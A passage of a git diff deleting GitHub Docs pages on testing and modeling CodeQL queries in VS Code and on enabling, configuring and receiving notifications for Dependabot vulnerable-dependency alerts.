variables.product.prodname_vscode_shortname %} - -To ensure that your {% data variables.product.prodname_codeql %} queries produce the expected results, you can run tests that compare the expected query results with the actual results. - -The {% data variables.product.prodname_codeql %} extension automatically registers itself with the "Testing" view. This view displays all tests found in your current workspace and provides a UI for exploring and running tests in your workspace. - -For more information about creating {% data variables.product.prodname_codeql %} tests, see [AUTOTITLE](/code-security/codeql-cli/using-the-codeql-cli/testing-custom-queries). - -To see more detailed output from running unit tests, open the {% data variables.product.prodname_codeql %} Tests log. For information, see [AUTOTITLE](/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs). - -## Testing the results of your queries - -1. In {% data variables.product.prodname_vscode %}, open the "Testing" view in the sidebar. - -1. To run a specific test, hover over the file or folder name and click the play button. To run all tests in your workspace, click the play button at the top of the view. If a test takes too long to run, you can click the stop button at the top of the view to cancel the test. - - ![Screenshot of the "Testing" view, with the "Run Test" button (to run all tests) outlined in dark orange.](/assets/images/help/security/codeql-for-vs-code-run-all-tests.png) - -1. The icons show whether a test passed or failed. If it failed, click the test in the "Test Results" to display the differences between the expected output and the actual output. - - ![Screenshot of the "Test Results" view displaying the differences between the expected output and actual output for a test.](/assets/images/help/security/codeql-for-vs-code-test-output.png) - -1. Compare the results. If you want to update the test with the actual output, right-click the test in the "Testing" view and click **Accept Test Output**. - -## Monitoring the performance of your queries - -Query performance is important when you want to run a query on large databases, or as part of your continuous integration system. - -If you want to examine query performance, enable the "Running Queries: Debug" setting to include timing and tuple counts. This will then be shown in the logs in the {% data variables.product.prodname_codeql %} "Query Server" tab of the "Output" view. The tuple count is useful because it indicates the size of the [predicates](https://codeql.github.com/docs/ql-language-reference/predicates/#predicates) computed by the query. For more information about changing settings, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings#configuring-settings-for-running-queries-locally). - -When a query is evaluated, the query server caches the predicates that it calculates. So when you want to compare the performance of two evaluations, you should run **{% data variables.product.prodname_codeql %}: Clear Cache** to clear the query server's cache before each run. This ensures that you're comparing equivalent data. - -For more information about monitoring the performance of your {% data variables.product.prodname_codeql %} queries, see [Troubleshooting query performance](https://codeql.github.com/docs/writing-codeql-queries/troubleshooting-query-performance/#troubleshooting-query-performance) and [Evaluation of QL programs](https://codeql.github.com/docs/ql-language-reference/evaluation-of-ql-programs/#evaluation-of-ql-programs) in the {% data variables.product.prodname_codeql %} documentation. - -{% ifversion codeql-vs-code-mrva %} - -## Next steps - -When you are sure that your query finds the results you want to identify, you can use variant analysis to run it at scale. For information on running analysis at scale across many {% data variables.product.prodname_codeql %}databases, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis). - -{% endif %} diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor.md deleted file mode 100644 index 0f7a91cc5917..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Using the CodeQL model editor -shortTitle: CodeQL model editor -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can view, write, and edit {% data variables.product.prodname_codeql %} model packs in {% data variables.product.prodname_vscode %}.' -redirect_from: - - /code-security/codeql-for-vs-code/using-the-codeql-model-editor ---- - -{% data reusables.code-scanning.beta-model-packs %} - -## About the {% data variables.product.prodname_codeql %} model editor - -With {% data variables.product.prodname_codeql %} model packs, you can expand your {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} analysis to recognize custom libraries and frameworks used by your codebase that are not supported by default. With the {% data variables.product.prodname_codeql %} model editor, you can create your own model packs. The model editor guides you through modeling the calls to external dependencies in your application, or fully modeling all the public entry and exit points in an external dependency. - -For more information about customizing {% data variables.product.prodname_code_scanning %} analysis with model packs, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-codeql-coverage-with-codeql-model-packs-in-default-setup) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#extending-codeql-coverage-with-codeql-model-packs). - -When you open the model editor, it analyzes the currently selected {% data variables.product.prodname_codeql %} database and identifies where the application uses external APIs and all public methods. An external (or third-party) API is any API that is not part of the {% data variables.product.prodname_codeql %} database you have selected. - -The model editor has two different modes: - -* **Application mode (default view)**: The editor lists each external framework used by the selected {% data variables.product.prodname_codeql %} database. When you expand a framework, a list of all calls to and from the external API is shown with the options available to model dataflow through each call. This mode is most useful for improving the {% data variables.product.prodname_codeql %} results for a specific codebase. - -* **Dependency mode:** The editor identifies all of the publicly accessible APIs in the selected {% data variables.product.prodname_codeql %} database. This view guides you through modeling each public API that the codebase makes available. When you have finished modeling the entire API, you can save the model and use it to improve the {% data variables.product.prodname_codeql %} analysis for all codebases that use the dependency. - -The rest of this article covers the practical aspects of modelling dependencies using the {% data variables.product.prodname_codeql %} model editor. For technical information, see [Customizing library models for Java and Kotlin](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-java-and-kotlin/){% ifversion fpt or ghec or ghes > 3.14 %}, [Customizing Library Models for Python](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-python/), [Customizing Library Models for Ruby](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-ruby/), and [Customizing library models for C#](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-csharp/){% elsif ghes > 3.12 %}, [Customizing Library Models for Ruby](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-ruby/), and [Customizing library models for C#](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-csharp/){% endif %} in the {% data variables.product.prodname_codeql %} language documentation. - -## Displaying the {% data variables.product.prodname_codeql %} model editor - -> [!NOTE] -> To use this {% data variables.release-phases.public_preview %} functionality, install the latest version of the {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %}. - -1. Open your {% data variables.product.prodname_codeql %} workspace in {% data variables.product.prodname_vscode_shortname %}. For example, the [`vscode-codeql-starter` workspace](https://github.com/github/vscode-codeql-starter). If you are using the starter workspace, update the `ql` submodule from `main` to ensure that you have the queries used to gather data for the model editor. - -1. In {% data variables.product.prodname_vscode %}, click **QL** in the left sidebar to display the {% data variables.product.prodname_codeql %} extension. - -1. In the "Databases" view, select the {% data variables.product.prodname_codeql %} database that you want to model from. - -1. In the {% data variables.product.prodname_codeql %} "Method Modeling" view, click **Start modeling** to display the model editor. Alternatively, use the {% data variables.product.prodname_vscode_command_palette_shortname %} to run the **{% data variables.product.prodname_codeql %}: Open Model Editor (Beta)** command. - -1. The {% data variables.product.prodname_codeql %} model editor runs a series of telemetry queries to identify APIs in the code, and the editor is displayed in a new tab. - -1. When the telemetry queries are complete, the APIs that have been identified are shown in the editor. - -> [!TIP] -> You can move the {% data variables.product.prodname_codeql %} "Method Modeling" view from the primary sidebar to the secondary sidebar, if you want more space while you are modeling calls or methods. If you close the view, you can reopen it from the "View" menu in {% data variables.product.prodname_vscode_shortname %} and clicking **Open View...**. - -## Modeling the calls your codebase makes to external APIs - -You typically use this approach when you are looking at a specific codebase where you want to improve the precision of {% data variables.product.prodname_codeql %} results. This is useful when the codebase uses frameworks or libraries that are not supported by {% data variables.product.prodname_codeql %}, and if the source code of the framework or library is not included in the analysis. - -This section uses an open source Java project called "sofa-jraft" as an example. The experience of modeling calls to external APIs written in other compiled languages is similar. - -1. In {% data variables.product.prodname_vscode %}, select the {% data variables.product.prodname_codeql %} database that you want to improve {% data variables.product.prodname_codeql %} coverage for. - -1. Display the {% data variables.product.prodname_codeql %} model editor. By default the editor runs in application mode, so the list of external APIs used by the selected codebase is shown. - - ![Screenshot of the "Application mode" view showing two of the external Java frameworks used by the "sofa-jraft" codebase.](/assets/images/help/security/codeql-for-vs-code-model-application-mode.png) - -1. Click to expand an external API and view the list of calls from the codebase to the external dependency. - - ![Screenshot of "Application mode" showing the calls to the "rocksdbjni" framework. The "View" option for the first call is outlined in orange.](/assets/images/help/security/codeql-for-vs-code-model-application-mode-expanded.png) - -1. Click **View** associated with an API call or method to show where it is used in your codebase. - -1. The file containing the first call from your codebase to the API is opened, and a {% data variables.product.prodname_codeql %} "Methods Usage" view is displayed in {% data variables.product.prodname_vscode_shortname %} (where the "Problems" and "Terminal" views are usually displayed). The {% data variables.product.prodname_codeql %} "Methods Usage" view lists of all the calls from your code to the API, grouped by method. You can click through each use to decide how to model your use of the method. - -1. When you have determined how to model your use of the method, you can select a different model type. Click the dropdown under "Model Type" in the {% data variables.product.prodname_codeql %} "Method Modeling" view of the {% data variables.product.prodname_codeql %} extension. This change is automatically reflected in the main model editor. - -1. The remaining fields in that row are updated with the options available for the chosen model type: - - * "Source": choose the "Output" element to model. - * "Sink": choose the "Input" element to model. - * "Flow summary": choose the "Input" and "Output" elements to model. - -1. Define the "Kind" of dataflow for the model. - -1. When you have finished modeling, display the main model editor and click **Save all** or **Save** (shown at the bottom-right of each expanded list of methods). The percentage of methods modeled in the editor is updated. - -The models are stored in your workspace at `.github/codeql/extensions/CODEQL-MODEl-PACK`, where `CODEQL-MODEL-PACK` is the name of the {% data variables.product.prodname_codeql %} database that you selected. That is, the name of the repository, hyphen, the language analyzed by {% data variables.product.prodname_codeql %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack). - -The models are stored in a series of YAML data extension files, one for each external API. For example: - -```yaml -.github/codeql/extensions/sofa-jraft-java # the model pack directory - models - jmh-core.model.yml # models calls to jmh-core@1.20 - rocksdbjni.model.yml # models calls to rocksdbjni@7.7.3 -``` - -## Modeling the public API of a codebase - -You typically use this method when you want to model a framework or library that your organization uses in more than one codebase. Once you have finished creating and testing the model, you can publish the {% data variables.product.prodname_codeql %} model pack to the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %} for your whole organization to use. - -This section uses an open source Java project called "sofa-jraft" as an example. The experience of modeling calls to external APIs written in other compiled languages is similar. - -1. Select the {% data variables.product.prodname_codeql %} database that you want to model. - -1. Display the {% data variables.product.prodname_codeql %} model editor. By default the editor runs in application mode. Click **Model as dependency** to display dependency mode. The screen changes to show the public API of the framework or library. - - ![Screenshot of the "Dependency mode" view showing three of the packages published by the "sofa-jraft" codebase.](/assets/images/help/security/codeql-for-vs-code-model-dependency-mode.png) - -1. Click to expand a package and view the list of available methods. - -1. Click **View** associated with a method to show its definition. - - ![Screenshot of "Dependency mode" with one model for "com.alipay.sofa.jraft.option.BallotBoxOptions.getClosureQueue()". The "+" button is outlined.](/assets/images/help/security/codeql-for-vs-code-model-dependency-mode-expanded.png) - -1. When you have determined how to model the method, define the "Model type". - -1. The remaining fields in that row are updated with the options available for the chosen model type: - - * "Source": choose the "Output" element to model. - * "Sink": choose the "Input" element to model. - * "Flow summary": choose the "Input" and "Output" elements to model. - -1. Define the "Kind" of dataflow for the model. - -1. When you have finished modeling, click **Save all** or **Save** (shown at the bottom-right of each expanded list of calls). The percentage of calls modeled in the editor is updated. - -The models are stored in your workspace at `.github/codeql/extensions/CODEQL-MODEL-PACK`, where `CODEQL-MODEL-PACK` is the name of the {% data variables.product.prodname_codeql %} database that you selected. That is, the name of the repository, hyphen, the language analyzed by {% data variables.product.prodname_codeql %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack). - -The models are stored in a series of YAML data extension files, one for each public method. For example: - -```yaml -.github/codeql/extensions/sofa-jraft-java # the model pack directory - models - com.alipay.sofa.jraft.option.model.yml # models public methods in package - com.alipay.sofa.jraft.rhea.options.model.yml -``` - -The editor will create a separate model file for each package that you model. - -## Modeling methods with multiple potential flows - -Some methods support more than one data flow. It is important to model all the data flows for a method, otherwise you cannot detect all the potential problems associated with using the method. First you model one data flow for the method, and then use the **+** button in the method row to specify a second data flow model. - -![Screenshot of the "Dependency mode" view with public methods available in "com.alipay.soft.jraft.option". A "View" option is outlined in orange.](/assets/images/help/security/codeql-for-vs-code-model-dependency-mode-plus.png) - -## Testing {% data variables.product.prodname_codeql %} model packs in {% data variables.product.prodname_vscode_shortname %} - -You can test any {% data variables.product.prodname_codeql %} model packs you create in {% data variables.product.prodname_vscode_shortname %} with the "Running Queries: Use Extension Packs" setting. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings). This method works for both databases and for variant analysis repositories. - -* To run queries on a {% data variables.product.prodname_codeql %} database with any model packs that are stored within the `.github/codeql/extensions` directory of the workspace, update your `settings.json` file with: `"codeQL.runningQueries.useExtensionPacks": "all",` - -* To run queries on a {% data variables.product.prodname_codeql %} database without using model packs, update your `settings.json` file with: `"codeQL.runningQueries.useExtensionPacks": "none",` - -If your model is working well, you should see a difference in the results of the two different runs. If you don't see any differences in results, you may need to introduce a known bug to verify that the model behaves as expected. - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-codeql-coverage-with-codeql-model-packs-in-default-setup) -* [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#extending-codeql-coverage-with-codeql-model-packs) -[AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs#using-model-packs-to-analyze-calls-to-custom-dependencies). diff --git a/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md b/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md deleted file mode 100644 index fb955b16bee5..000000000000 --- a/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: About Dependabot alerts -intro: '{% data variables.product.github %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect that your repository uses a vulnerable dependency.' -product: '{% data reusables.gated-features.dependabot-alerts %}' -redirect_from: - - /articles/about-security-alerts-for-vulnerable-dependencies - - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies - - /github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies - - /code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: Dependabot alerts ---- -<!--Marketing-LINK: From /features/security/software-supply-chain page "About alerts for vulnerable dependencies ".--> - -{% data variables.product.prodname_dependabot_alerts %} tell you when your code depends on a package that is insecure. Often, software is built using open-source code packages from a large variety of sources. The complex relationships between these dependencies, and the ease with which malicious actors can insert malware into upstream code, mean that you may unknowingly be using dependencies that have security flaws, also known as vulnerabilities. - -If your code depends on a package with a security vulnerability, this can cause a range of problems for your project or the people who use it. Using a vulnerable package makes you a soft target for malicious users looking to exploit your system. For example, they may seek to get access to your code and data from your customers or contributors. You should upgrade to a secure version of the package as soon as possible. If your code uses malware, you need to replace the package with a secure alternative. - -{% data reusables.dependabot.no-dependabot-alerts-for-malware %} - -{% data reusables.dependabot.quickstart-link %} - -## Detection of insecure dependencies - -{% data variables.product.prodname_dependabot %} performs a scan of the default branch of your repository to detect insecure dependencies, and sends {% data variables.product.prodname_dependabot_alerts %} when: - -{% ifversion fpt or ghec %} -* A new advisory is added to the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database).{% else %} - -* New advisory data is synchronized to {% data variables.product.prodname_dotcom %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} - - > [!NOTE] - > Only advisories that have been reviewed by {% data variables.product.company_short %} will trigger {% data variables.product.prodname_dependabot_alerts %}. - -* The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} doesn't scan archived repositories. - -{% data reusables.repositories.dependency-review %} - -As {% data variables.product.prodname_dependabot_alerts %} rely on the dependency graph, the ecosystems that are supported by {% data variables.product.prodname_dependabot_alerts %} are the same as those supported by the dependency graph. For a list of these ecosystems, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems). - -> [!NOTE] -> It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for insecure dependencies that you use. You may also get alerts for dependencies that you no longer use. - -{% data reusables.dependabot.dependabot-alert-actions-semver %} - -## Configuration of {% data variables.product.prodname_dependabot_alerts %} - -{% data reusables.repositories.enable-security-alerts %} - -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies in _public_ repositories and displays the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %} for public repositories. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. - -You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts). - -For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization#access-requirements-for-security-features). - -{% data variables.product.github %} starts generating the dependency graph immediately and generates alerts for any insecure dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories). -{% endif %} - -When {% data variables.product.github %} identifies a vulnerable dependency, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the **Security** tab for the repository and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version. - -{% data variables.product.github %} may also notify the maintainers of affected repositories about new alerts according to their notification preferences. When {% data variables.product.prodname_dependabot %} is first enabled, {% data variables.product.github %} does not send notifications for all vulnerable dependencies found in your repository, only for new vulnerable dependencies identified after {% data variables.product.prodname_dependabot %} is enabled. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). - -{% data reusables.dependabot.dependabot-alert-create-PR %} - -{% data reusables.dependabot.dependabot-alert-rules %} - -> [!WARNING] -> {% data variables.product.github %}'s security features do not claim to catch all vulnerabilities. We actively maintain {% data variables.product.prodname_advisory_database %} and generate alerts with the most up-to-date information. However, we cannot catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough dependency review when necessary. - -## Access to {% data variables.product.prodname_dependabot_alerts %} - -You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's **Security** tab or{% endif %} in the repository's dependency graph. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -By default, we notify people with write, maintain, or admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.github %} never publicly discloses insecure dependencies for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working with repositories that you own or have admin permissions for. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts). -{% endif %} - -{% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). - -You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular advisory in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} - -{% ifversion copilot-chat-ghas-alerts %} - -## Asking {% data variables.product.prodname_copilot_chat %} about {% data variables.product.prodname_dependabot_alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can ask {% data variables.product.prodname_copilot_chat_short %} for help to better understand security alerts, including {% data variables.product.prodname_dependabot_alerts %}, in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) -* [AUTOTITLE](/code-security/getting-started/auditing-security-alerts) -{% ifversion fpt or ghec %}- [AUTOTITLE](/get-started/privacy-on-github){% endif %} diff --git a/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md b/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md deleted file mode 100644 index 4e9234172a9c..000000000000 --- a/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Configuring Dependabot alerts -intro: 'Enable {% data variables.product.prodname_dependabot_alerts %} to be generated when a new vulnerable dependency is found in one of your repositories.' -shortTitle: Configure Dependabot alerts -permissions: '{% data reusables.permissions.dependabot-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Alerts - - Dependencies - - Pull requests - - Repositories ---- - -## About {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies - -{% data reusables.repositories.a-vulnerability-is %} - -{% data variables.product.prodname_dependabot %} scans code when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or the dependency graph for a repository changes. When vulnerable dependencies are detected, {% data variables.product.prodname_dependabot_alerts %} are generated. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -{% data reusables.dependabot.dependabot-alert-create-PR %} - -You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for: -* Your personal account -* Your repository -* Your organization{% ifversion dependabot-alerts-enterprise-enablement or ghes %} -* Your enterprise{% endif %} - -{% data reusables.dependabot.dependabot-alert-rules %} - -## Managing {% data variables.product.prodname_dependabot_alerts %} for your personal account - -{% ifversion fpt or ghec %} - -You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your personal account. - -### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for existing repositories - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Disable all** or **Enable all**. -1. Optionally, to enable {% data variables.product.prodname_dependabot_alerts %} by default for new repositories that you create, in the dialog box, select "Enable by default for new repositories". -1. Click **Disable {% data variables.product.prodname_dependabot_alerts %}** or **Enable {% data variables.product.prodname_dependabot_alerts %}** to disable or enable {% data variables.product.prodname_dependabot_alerts %} for all the repositories you own. - -When you enable {% data variables.product.prodname_dependabot_alerts %} for existing repositories, you will see any results displayed on GitHub within minutes. - -### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for new repositories - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of {% data variables.product.prodname_dependabot_alerts %}, select **Automatically enable for new repositories**. - -{% else %} -{% data variables.product.prodname_dependabot_alerts %} for your repositories can be enabled or disabled by your enterprise owner. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -{% endif %} - -## Managing {% data variables.product.prodname_dependabot_alerts %} for your repository - -You can manage {% data variables.product.prodname_dependabot_alerts %} for your public, private or internal repository. - -By default, we notify people with write, maintain, or admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.github %} never publicly discloses insecure dependencies for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working on repositories that you own or have admin permissions for. - -{% data reusables.security.security-and-analysis-features-enable-read-only %} - -{% ifversion dependabot-alerts-ghes-enablement %} -An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Enable** to enable alerts or **Disable** to disable alerts. - -## Managing {% data variables.product.prodname_dependabot_alerts %} for your organization - -{% ifversion security-configurations %} You can enable {% data variables.product.prodname_dependabot_alerts %} for all eligible repositories in your organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). - -{% else %} - -You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for some or all repositories owned by your organization. {% data reusables.security.note-securing-your-org %} - -{% ifversion dependabot-alerts-ghes-enablement %} -An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for all existing repositories - -{% ifversion code-security-multi-repo-enablement %} -You can use security overview to find a set of repositories and enable or disable {% data variables.product.prodname_dependabot_alerts %} for them all at the same time. For more information, see [AUTOTITLE](/code-security/security-overview/enabling-security-features-for-multiple-repositories). - -You can also use the organization settings page for "{% data variables.product.UI_advanced_security %}" to enable or disable {% data variables.product.prodname_dependabot_alerts %} for all existing repositories in an organization. -{% else %} -You can use the organization settings page for "{% data variables.product.UI_advanced_security %}" to enable {% data variables.product.prodname_dependabot_alerts %} for all existing repositories in an organization. -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Disable all** or **Enable all**. -1. Optionally, to enable {% data variables.product.prodname_dependabot_alerts %} by default for new repositories in your organization, in the dialog box, select "Enable by default for new repositories". -1. Click **Disable {% data variables.product.prodname_dependabot_alerts %}** or **Enable {% data variables.product.prodname_dependabot_alerts %}** to disable or enable {% data variables.product.prodname_dependabot_alerts %} for all the repositories in your organization. - -{% endif %} - -{% ifversion dependabot-alerts-enterprise-enablement or ghes %} - -## Managing {% data variables.product.prodname_dependabot_alerts %} for your enterprise - -You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all current and future repositories owned by organizations in your enterprise. Your changes affect all repositories. - -{% endif %} - -{% ifversion dependabot-alerts-enterprise-enablement %} - -> [!NOTE] -> When {% data variables.product.prodname_dependabot_alerts %} are enabled or disabled at the enterprise level, it overrides the organization and repository level settings for {% data variables.product.prodname_dependabot_alerts %}. - -{% endif %} - -{% ifversion dependabot-alerts-enterprise-enablement or ghes %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "{% data variables.product.prodname_dependabot %}" section, to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Disable all** or **Enable all**. -1. Optionally, select **Automatically enable for new repositories** to enable {% data variables.product.prodname_dependabot_alerts %} by default for your organizations' new repositories. -{% endif %} diff --git a/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md b/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md deleted file mode 100644 index 203db90b7791..000000000000 --- a/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Configuring notifications for Dependabot alerts -shortTitle: Configure notifications -intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' -redirect_from: - - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies - - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Notifications - - Vulnerabilities - - Dependencies - - Repositories ---- - -## About notifications for {% data variables.product.prodname_dependabot_alerts %} - -When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% 